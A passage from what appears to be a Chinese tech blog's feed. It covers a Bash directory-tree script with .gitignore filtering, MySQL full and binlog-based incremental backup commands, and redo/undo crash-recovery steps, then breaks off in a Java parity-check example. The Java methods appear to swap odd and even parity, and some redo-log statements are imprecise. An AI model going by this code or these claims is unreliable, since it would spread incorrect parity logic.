class="line">    GITIGNORE_RULES+=(&quot;$script_name&quot; &quot;$output_file&quot;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 检查文件或文件夹是否应该被忽略</span><br><span class="line">is_excluded() &#123;</span><br><span class="line">    local path=&quot;$1&quot;</span><br><span class="line">    local relative_path=&quot;$&#123;path#$directory/&#125;&quot;</span><br><span class="line">    local match_exclude=0  # 是否匹配到排除规则</span><br><span class="line">    local match_include=0  # 是否匹配到包含规则（例外）</span><br><span class="line"></span><br><span class="line">    # 转换为相对路径，并确保路径不以斜杠开头</span><br><span class="line">    relative_path=$(echo &quot;$relative_path&quot; | sed &#x27;s/^\///&#x27;)</span><br><span class="line"></span><br><span class="line">    # 遍历 .gitignore 规则</span><br><span class="line">    for rule in &quot;$&#123;GITIGNORE_RULES[@]&#125;&quot;; do</span><br><span class="line">        local original_rule=&quot;$rule&quot;</span><br><span class="line">        local is_inclusion=0  # 默认为排除规则</span><br><span class="line">        if [[ &quot;$&#123;rule:0:1&#125;&quot; == &quot;!&quot; ]]; then</span><br><span class="line">            is_inclusion=1  # 如果是例外规则</span><br><span class="line">            rule=&quot;$&#123;rule:1&#125;&quot;  # 移除开头的感叹号</span><br><span class="line">        fi</span><br><span class="line"></span><br><span class="line">        # 替换通配符 * 和 ?</span><br><span class="line">        local pattern=&quot;$&#123;rule//\*/.*&#125;&quot;</span><br><span class="line">        pattern=&quot;$&#123;pattern//\?/.&#125;&quot;</span><br><span class="line"></span><br><span class="line">        # 根据规则中的斜杠位置构建不同的正则表达式</span><br><span class="line">        if [[ &quot;$rule&quot; == /* ]]; then</span><br><span class="line">            pattern=&quot;$&#123;pattern#/&#125;&quot;</span><br><span class="line">            pattern=&quot;^$pattern($|/.*)$&quot;</span><br><span class="line">        elif [[ &quot;$rule&quot; == */ ]]; then</span><br><span class="line">            pattern=&quot;$&#123;pattern%/&#125;&quot;</span><br><span class="line">            pattern=&quot;^$pattern(/.*|$)&quot;</span><br><span class="line">        elif [[ &quot;$rule&quot; == */* ]]; then</span><br><span class="line">            pattern=&quot;($|^.*/)$pattern($|/.*)$&quot;</span><br><span class="line">        else</span><br><span class="line">            pattern=&quot;($|^.*/)$pattern($|/.*)$&quot;</span><br><span class="line">        fi</span><br><span class="line"></span><br><span class="line">        # 检查路径匹配</span><br><span class="line">        if [[ &quot;$relative_path&quot; =~ $pattern ]]; then</span><br><span class="line">            if [[ &quot;$is_inclusion&quot; -eq 1 ]]; then</span><br><span class="line">                match_include=1  # 匹配到例外规则，标记为包含</span><br><span class="line">            else</span><br><span class="line">                match_exclude=1  # 匹配到排除规则，标记为排除</span><br><span class="line">            fi</span><br><span class="line">        fi</span><br><span class="line">    done</span><br><span class="line"></span><br><span class="line">    # 如果匹配到包含规则，返回0（不忽略）</span><br><span class="line">    # 如果匹配到排除规则且没有匹配到包含规则，返回1（忽略）</span><br><span class="line">    if [[ &quot;$match_include&quot; -eq 1 ]]; then</span><br><span class="line">        return 0</span><br><span class="line">    elif [[ &quot;$match_exclude&quot; -eq 1 ]]; then</span><br><span class="line">        return 1</span><br><span class="line">    else</span><br><span class="line">        return 0  # 默认不忽略</span><br><span class="line">    fi</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 定义全局数组来记录每层级的计数</span><br><span class="line">declare -a count_stack</span><br><span class="line">declare -a index_stack</span><br><span class="line"></span><br><span class="line"># 定义递归函数来打印目录结构</span><br><span class="line">print_tree() &#123;</span><br><span class="line">    local directory=&quot;$1&quot;</span><br><span class="line">    local prefix=&quot;$2&quot;</span><br><span class="line">    local exclude_files=&quot;$3&quot;</span><br><span class="line">    local level=&quot;$4&quot;</span><br><span class="line">    local max_level=&quot;$5&quot;</span><br><span class="line"></span><br><span class="line">    # 递归到达最大层级时返回</span><br><span class="line">    if [[ -n &quot;$max_level&quot; &amp;&amp; &quot;$level&quot; -gt &quot;$max_level&quot; ]]; then</span><br><span class="line">        return</span><br><span class="line">    fi</span><br><span class="line"></span><br><span class="line">    # 获取当前目录下的所有文件和文件夹</span><br><span class="line">    shopt -s nullglob</span><br><span class="line">    local items=(&quot;$directory&quot;/*)</span><br><span class="line">    shopt -u nullglob</span><br><span class="line">    local count=$&#123;#items[@]&#125;</span><br><span class="line"></span><br><span class="line">    count_stack[$level]=$count</span><br><span class="line">    index_stack[$level]=0</span><br><span class="line"></span><br><span class="line">    while [[ $&#123;index_stack[$level]&#125; -lt $&#123;count_stack[$level]&#125; ]]; do</span><br><span class="line">        local item=&quot;$&#123;items[$&#123;index_stack[$level]&#125;]&#125;&quot;</span><br><span class="line">        local base_name=$(basename &quot;$item&quot;)</span><br><span class="line">        local is_last=$((index_stack[$level] == count - 1))</span><br><span class="line"></span><br><span class="line">        index_stack[$level]=$((index_stack[$level] + 1))</span><br><span class="line"></span><br><span class="line">        # 跳过应该被 .gitignore 排除的文件夹和文件</span><br><span class="line">if [[ &quot;$apply_gitignore&quot; == &quot;y&quot; ]]; then</span><br><span class="line">is_excluded &quot;$item&quot;</span><br><span class="line">if [[ $? -eq 1 ]]; then  # 检查 is_excluded 的返回值，如果为 1 则忽略</span><br><span class="line">continue</span><br><span class="line">fi</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        # 确定当前项的前缀符号</span><br><span class="line">        if [ &quot;$is_last&quot; == &quot;1&quot; ]; then</span><br><span class="line">            current_prefix=&quot;$&#123;prefix&#125;└── $base_name&quot;</span><br><span class="line">            new_prefix=&quot;$&#123;prefix&#125;    &quot;</span><br><span class="line">        else</span><br><span class="line">            current_prefix=&quot;$&#123;prefix&#125;├── $base_name&quot;</span><br><span class="line">            new_prefix=&quot;$&#123;prefix&#125;│   &quot;</span><br><span class="line">        fi</span><br><span class="line"></span><br><span class="line">        if [ -d &quot;$item&quot; ]; then</span><br><span class="line">            # 打印目录名</span><br><span class="line">            echo &quot;$current_prefix&quot;</span><br><span class="line">            # 保存目录名到输出变量</span><br><span class="line">            output_tree+=&quot;$current_prefix&quot;$&#x27;\n&#x27;</span><br><span class="line">            # 递归调用自己</span><br><span class="line">            print_tree &quot;$item&quot; &quot;$new_prefix&quot; &quot;$exclude_files&quot; $((level + 1)) &quot;$max_level&quot;</span><br><span class="line">        elif [ &quot;$exclude_files&quot; != &quot;y&quot; ]; then</span><br><span class="line">            # 打印文件名</span><br><span class="line">            echo &quot;$current_prefix&quot;</span><br><span class="line">            # 保存文件名到输出变量</span><br><span class="line">            output_tree+=&quot;$current_prefix&quot;$&#x27;\n&#x27;</span><br><span class="line">        fi</span><br><span class="line">    done</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 获取当前目录的树型结构</span><br><span class="line">directory=&quot;$(pwd)&quot;</span><br><span class="line"></span><br><span class="line"># 询问用户是否应用 .gitignore 中的内容</span><br><span class="line">read -p &quot;是否应用 .gitignore 中的内容? (y/n): &quot; apply_gitignore</span><br><span class="line"></span><br><span class="line"># 如果选择不应用，则清空排除列表</span><br><span class="line">if [ &quot;$apply_gitignore&quot; == &quot;n&quot; ]; then</span><br><span class="line">    GITIGNORE_RULES=()</span><br><span class="line">else</span><br><span class="line">    # 读取 .gitignore 文件</span><br><span class="line">    read_gitignore &quot;$directory&quot;</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line"># 询问用户是否不包含文件</span><br><span class="line">read -p &quot;输出的树是否不包含文件? (y/n): &quot; exclude_files</span><br><span class="line"></span><br><span class="line"># 询问用户输出的层级</span><br><span class="line">read -p &quot;请输入输出的层级 (默认输出所有层级): &quot; max_level</span><br><span class="line"></span><br><span class="line"># 初始化输出变量</span><br><span class="line">output_tree=&quot;&quot;</span><br><span class="line"></span><br><span class="line"># 打印并保存树型结构</span><br><span class="line">echo &quot;$(basename &quot;$directory&quot;)&quot;</span><br><span class="line">output_tree+=&quot;$(basename &quot;$directory&quot;)&quot;$&#x27;\n&#x27;</span><br><span class="line">print_tree &quot;$directory&quot; &quot;&quot; &quot;$exclude_files&quot; 1 &quot;$max_level&quot;</span><br><span class="line"></span><br><span class="line"># 询问用户是否导出树型结构</span><br><span class="line">read -p &quot;是否导出这个输出的树? (y/n): &quot; export_tree</span><br><span class="line"></span><br><span class="line">if [ &quot;$export_tree&quot; == &quot;y&quot; ]; then</span><br><span class="line">    echo -e &quot;$output_tree&quot; &gt; &quot;$output_file&quot;</span><br><span class="line">    echo &quot;树型结构已导出到 $output_file&quot;</span><br><span class="line">fi</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="双击运行">双击运行</h3><p>运行过程中会有需要交互得地方</p><h4 id="是否应用-gitignore-中的内容">是否应用 .gitignore 中的内容?</h4><p>我们知道git提交会配置.gitignore来忽略不想提交得内容，spring boot中得target目录、logs目录等，前端得.vscode目录等，我们并不想将这些内容输出到文件树中，就在第一个用户交互得地方输入<code>y</code>。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/00db999f7f3195ca10617d84476c4da1.png" alt="image.png"></p><h4 id="输出的树是否不包含文件">输出的树是否不包含文件?</h4><p>如果输入<code>y</code>则会将所有文件输出到结果得树中。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/ed42f9a7596c740c5abfe0e01aa49fd2.png" alt="image.png"></p><h4 id="请输入输出的层级-默认输出所有层级">请输入输出的层级 (默认输出所有层级):</h4><p>默认为所有层级，输入数字则输出数字对应得层级<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/cdf7ff057a17f1b3e4786c939319b9a9.png" alt="image.png"></p><h4 id="是否导出这个输出的树-y-n">是否导出这个输出的树? (y/n)</h4><p>最后是导出这个树到txt文件中，便于复制使用<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/874888a177d68eba408919fc7e184ac7.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/906183764eb52c7254ce16c58884a46d.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/7e398962862d6e38a4723f3fea3e1004.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">不依赖第三方的插件或者软件来实现一个项目或者目录的树形结构</summary>
    
    
    
    <category term="脚本" scheme="https://blog.allbs.cn/categories/%E8%84%9A%E6%9C%AC/"/>
    
    
    <category term="脚本" scheme="https://blog.allbs.cn/tags/%E8%84%9A%E6%9C%AC/"/>
    
  </entry>
  
  <entry>
    <title>mysql的增量备份和全量备份的方法</title>
    <link href="https://blog.allbs.cn/posts/10870/"/>
    <id>https://blog.allbs.cn/posts/10870/</id>
    <published>2024-05-30T05:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h3 id="区别">区别</h3><ul><li>全量备份是指备份整个数据库的所有数据。</li><li>增量备份是指仅备份自上次备份以来更改的数据。</li></ul><h3 id="全量备份">全量备份</h3><p>全量备份的主要方法是使用 <code>mysqldump</code> 工具进行逻辑备份，或直接复制 MySQL 数据目录进行物理备份。</p><h4 id="使用-mysqldump-进行全量备份">使用 <code>mysqldump</code> 进行全量备份</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysqldump -u 用户名 -p 数据库名 &gt; 备份文件.sql</span><br></pre></td></tr></table></figure><p>示例：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysqldump -u root -p mydatabase &gt; /path/to/backup/mydatabase_full_backup.sql</span><br></pre></td></tr></table></figure><h4 id="直接复制数据目录">直接复制数据目录</h4><ol><li>停止 MySQL 服务：</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl stop mysql</span><br></pre></td></tr></table></figure><ol start="2"><li>复制数据目录：</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> -R /var/lib/mysql /path/to/backup/</span><br></pre></td></tr></table></figure><ol start="3"><li>启动 MySQL 服务：</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl start mysql</span><br></pre></td></tr></table></figure><h3 id="增量备份">增量备份</h3><p>增量备份通常依赖于 MySQL 的二进制日志（binlog），因为这些日志记录了所有对数据库进行更改的操作。通过备份这些日志文件，可以实现增量备份。</p><h4 id="配置二进制日志">配置二进制日志</h4><p>首先需要确保 MySQL 配置启用了二进制日志。在 MySQL 配置文件（通常是 <code>/etc/my.cnf</code> 或 <code>/etc/mysql/my.cnf</code>）中添加或修改以下行：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="attr">log-bin</span>=mysql-bin</span><br></pre></td></tr></table></figure><p>然后重启 MySQL 服务以应用更改：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl restart mysql</span><br></pre></td></tr></table></figure><h4 id="全量备份与增量备份的组合使用">全量备份与增量备份的组合使用</h4><ol><li><strong>进行一次全量备份：</strong></li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysqldump -u 用户名 -p --all-databases --flush-logs --master-data=2 &gt; /path/to/backup/full_backup.sql</span><br></pre></td></tr></table></figure><ol start="2"><li><strong>定期备份二进制日志：</strong><br>将新的二进制日志文件复制到备份目录。例如，可以使用以下脚本定期复制二进制日志：</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">BINLOG_DIR=<span class="string">&quot;/var/lib/mysql&quot;</span></span><br><span class="line">BACKUP_DIR=<span class="string">&quot;/path/to/backup/binlogs&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cp</span> <span class="variable">$BINLOG_DIR</span>/mysql-bin.* <span class="variable">$BACKUP_DIR</span>/</span><br></pre></td></tr></table></figure><p>可以将该脚本添加到 cron 作业中，每天或每小时运行一次：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">crontab -e</span><br></pre></td></tr></table></figure><p>添加如下行以每小时运行一次增量备份脚本：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0 * * * * /path/to/backup/binlog_backup.sh</span><br></pre></td></tr></table></figure><h3 id="恢复数据">恢复数据</h3><h4 id="恢复全量备份">恢复全量备份</h4><ol><li>恢复全量备份文件：</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysql -u 用户名 -p &lt; /path/to/backup/full_backup.sql</span><br></pre></td></tr></table></figure><h4 id="恢复增量备份">恢复增量备份</h4><ol><li>确保已应用全量备份。</li><li>应用二进制日志文件：</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysqlbinlog /path/to/backup/binlogs/mysql-bin.* | mysql -u 用户名 -p</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;区别&quot;&gt;区别&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;全量备份是指备份整个数据库的所有数据。&lt;/li&gt;
&lt;li&gt;增量备份是指仅备份自上次备份以来更改的数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;全量备份&quot;&gt;全量备份&lt;/h3&gt;
&lt;p&gt;全量备份的主要方法是使用 &lt;code&gt;my</summary>
      
    
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/categories/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
  </entry>
  
  <entry>
    <title>根据日志恢复数据的原理</title>
    <link href="https://blog.allbs.cn/posts/53984/"/>
    <id>https://blog.allbs.cn/posts/53984/</id>
    <published>2024-05-30T05:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>根据日志恢复数据的流程涉及到两个主要阶段：重做（REDO）和撤销（UNDO）。这些过程利用了 MySQL 的二进制日志（binlog）和重做日志（redo log）</p></blockquote><h3 id="1-日志文件概述">1. 日志文件概述</h3><ul><li><strong>二进制日志（binlog）：</strong> 记录所有对数据库进行更改的操作，包括所有提交的事务。这些日志用于增量备份和数据恢复。</li><li><strong>重做日志（redo log）：</strong> 记录所有将要执行的操作，用于在崩溃恢复过程中重新应用未提交的事务。</li><li><strong>撤销日志（undo log）：</strong> 记录事务在执行过程中修改前的数据，用于在事务回滚时撤销未提交的更改。</li></ul><h3 id="2-检查点">2. 检查点</h3><p>检查点（checkpoint）是数据库系统中的一个机制，用于定期将内存中的数据刷新到磁盘，并记录一个时间点。在 MySQL 中，检查点由 InnoDB 存储引擎管理，主要有以下作用：</p><ul><li>将缓冲池中的脏页（dirty pages）刷新到磁盘，减少崩溃恢复时需要重做的工作量。</li><li>在检查点之后，只需从该检查点开始应用重做日志，减少恢复时间。</li></ul><h3 id="3-恢复流程概述">3. 恢复流程概述</h3><p>当数据库崩溃或发生故障时，恢复流程通常包括以下几个步骤：</p><ol><li><strong>读取检查点信息：</strong> 从检查点文件读取最后一个检查点的位置。</li><li><strong>应用重做日志（REDO）：</strong> 从检查点位置开始，应用重做日志中的操作以恢复数据。</li><li><strong>撤销未提交的事务（UNDO）：</strong> 撤销在崩溃时未提交的事务，确保数据一致性。</li></ol><h3 id="4-具体恢复流程">4. 具体恢复流程</h3><h4 id="步骤-1：读取检查点信息">步骤 1：读取检查点信息</h4><p>检查点文件（<code>ib_logfile0</code>、<code>ib_logfile1</code> 等）包含最后一个检查点的位置。恢复过程从读取这些文件开始，确定从哪个位置开始应用重做日志。</p><h4 id="步骤-2：应用重做日志（REDO）">步骤 2：应用重做日志（REDO）</h4><p>从检查点开始，逐步应用重做日志中的操作。重做日志包含所有已提交和部分提交的事务操作。这些操作包括插入、更新和删除操作。重做日志的应用确保所有已提交的事务在数据恢复后仍然是提交状态。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">REDO流程：</span><br><span class="line">1. 从检查点位置开始读取重做日志。</span><br><span class="line">2. 对每个日志条目，检查事务状态。</span><br><span class="line">3. 如果事务已提交，重做该操作。</span><br><span class="line">4. 如果事务未提交，暂时跳过。</span><br></pre></td></tr></table></figure><div class="mermaid-wrap"><pre class="mermaid-src" hidden>  flowchart TD    A[数据库崩溃] --&gt; B[读取检查点信息]    B --&gt; C[读取重做日志文件]    C --&gt; D{是否有更多日志条目？}    D --&gt; |是| E[读取下一条日志]    E --&gt; F{日志条目类型}    F --&gt; |事务提交| G[应用日志条目]    F --&gt; |事务未提交| H[跳过日志条目]    G --&gt; D    H --&gt; D    D --&gt; |否| I[重做过程完成]  </pre></div><h4 id="步骤-3：撤销未提交的事务（UNDO）">步骤 3：撤销未提交的事务（UNDO）</h4><p>在完成重做操作后，接下来是撤销未提交的事务。这部分操作依赖于撤销日志（undo log）。撤销日志记录了每个事务在修改数据前的状态。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">UNDO流程：</span><br><span class="line">1. 读取撤销日志，找到所有未提交的事务。</span><br><span class="line">2. 按照撤销日志中的记录，逐步撤销每个未提交事务的操作。</span><br><span class="line">3. 确保所有未提交的事务都被撤销，恢复数据的一致性。</span><br></pre></td></tr></table></figure><div class="mermaid-wrap"><pre class="mermaid-src" hidden>  flowchart TD    A[重做过程完成] --&gt; B[读取撤销日志文件]    B --&gt; C{是否有更多未提交事务？}    C --&gt; |是| D[读取下一条未提交事务]    D --&gt; E[查找事务对应的更改]    E --&gt; F[撤销事务更改]    F --&gt; C    C --&gt; |否| G[撤销过程完成]  </pre></div><h3 id="恢复示例">恢复示例</h3><p>假设数据库在执行过程中崩溃，以下是一个详细的恢复示例：</p><ol><li><strong>读取检查点信息：</strong><ul><li>从检查点文件中读取最后一个检查点的位置，例如文件 <code>ib_logfile0</code>。</li></ul></li><li><strong>应用重做日志（REDO）：</strong><ul><li>从检查点位置开始，读取重做日志文件 <code>ib_logfile0</code> 和 <code>ib_logfile1</code>。</li><li>应用重做日志中的所有已提交事务，例如：<ul><li>事务 A：插入操作（已提交）。</li><li>事务 B：更新操作（未提交）。</li><li>事务 C：删除操作（已提交）。</li></ul></li></ul></li><li><strong>撤销未提交的事务（UNDO）：</strong><ul><li>查找撤销日志，找到未提交的事务 B。</li><li>撤销事务 B 的更新操作，将数据恢复到事务 B 之前的状态。<br>通过以上步骤，数据库可以从崩溃中恢复，并确保数据的一致性和完整性。完整得流程图如下:</li></ul></li></ol><div class="mermaid-wrap"><pre class="mermaid-src" hidden>  flowchart TB    A[数据库崩溃] --&gt; B[读取检查点信息]        B --&gt; C[读取重做日志文件]    C --&gt; D{是否有更多日志条目？}    D --&gt; |是| E[读取下一条日志]    E --&gt; F{日志条目类型}    F --&gt; |事务提交| G[应用日志条目]    F --&gt; |事务未提交| H[跳过日志条目]    G --&gt; D    H --&gt; D    D --&gt; |否| I[重做过程完成]    I --&gt; J[读取撤销日志文件]        J --&gt; K{是否有更多未提交事务？}    K --&gt; |是| L[读取下一条未提交事务]    L --&gt; M[查找事务对应的更改]    M --&gt; N[撤销事务更改]    N --&gt; K    K --&gt; |否| O[撤销过程完成]        O --&gt; P[恢复完成]  </pre></div>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[!前言]&lt;br&gt;
根据日志恢复数据的流程涉及到两个主要阶段：重做（REDO）和撤销（UNDO）。这些过程利用了 MySQL 的二进制日志（binlog）和重做日志（redo log）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;1-日志文</summary>
      
    
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/categories/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
  </entry>
  
  <entry>
    <title>数据传输和储存，常见的校验方法说明及其应用实现</title>
    <link href="https://blog.allbs.cn/posts/46294/"/>
    <id>https://blog.allbs.cn/posts/46294/</id>
    <published>2024-05-27T03:33:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="奇偶校验（Parity-Check）">奇偶校验（Parity Check）</h2><h3 id="原理：">原理：</h3><p>奇偶校验是一种简单的错误检测机制，通过增加一个校验位（奇偶位）来使整个数据包的1的数量为奇数或偶数。</p><ul><li>仅能检测单比特错误，无法纠正错误。</li><li>实现简单，适用于低错误率的场景。</li></ul><h3 id="类型：">类型：</h3><ol><li><strong>奇校验（Odd Parity）</strong>：整个数据包中1的数量为奇数。</li><li><strong>偶校验（Even Parity）</strong>：整个数据包中1的数量为偶数。</li></ol><h3 id="示例：">示例：</h3><p>假设数据包为<code>1010001</code>。</p><ul><li><strong>奇校验</strong>：原数据中1的数量为3（奇数），所以校验位为0，数据包变为<code>10100010</code>。</li><li><strong>偶校验</strong>：原数据中1的数量为3（奇数），所以校验位为1，数据包变为<code>10100011</code>。<br>如果接收方收到的数据中1的数量不符合预期的奇偶性，则表示数据包存在错误。</li></ul><h3 id="应用场景：">应用场景：</h3><ul><li><strong>低错误率的简单通信系统</strong>：例如串行通信协议（如RS-232），用于基本的硬件通信。</li><li><strong>存储设备</strong>：用于检测内存中的单比特错误。</li><li><strong>数据传输</strong>：用于简单的网络协议和设备间数据传输。</li></ul><h3 id="java实现">java实现</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ParityCheck</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：计算奇校验位</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span> <span class="title function_">calculateOddParity</span><span class="params">(<span class="type">int</span>[] data)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">parity</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> bit : data) &#123;</span><br><span class="line">            parity ^= bit; <span class="comment">// 异或操作</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> parity;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：计算偶校验位</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span> <span class="title function_">calculateEvenParity</span><span class="params">(<span class="type">int</span>[] data)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">parity</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> bit : data) &#123;</span><br><span class="line">            parity ^= bit; <span class="comment">// 异或操作</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> parity;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：验证奇校验</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">verifyOddParity</span><span class="params">(<span class="type">int</span>[] dataWithParity)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">parity</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> bit : dataWithParity) &#123;</span><br><span class="line">            parity ^= bit; <span class="comment">// 异或操作</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> parity == <span class="number">0</span>; <span class="comment">// 奇校验：最终结果应为0</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：验证偶校验</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">verifyEvenParity</span><span class="params">(<span class="type">int</span>[] dataWithParity)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">parity</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> bit : dataWithParity) &#123;</span><br><span class="line">            parity ^= bit; <span class="comment">// 异或操作</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> parity == <span class="number">0</span>; <span class="comment">// 偶校验：最终结果应为0</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">int</span>[] data = &#123;<span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>&#125;; <span class="comment">// 示例数据</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算奇校验位</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">oddParity</span> <span class="operator">=</span> calculateOddParity(data);</span><br><span class="line">        System.out.println(<span class="string">&quot;奇校验位: &quot;</span> + oddParity);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算偶校验位</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">evenParity</span> <span class="operator">=</span> calculateEvenParity(data);</span><br><span class="line">        System.out.println(<span class="string">&quot;偶校验位: &quot;</span> + 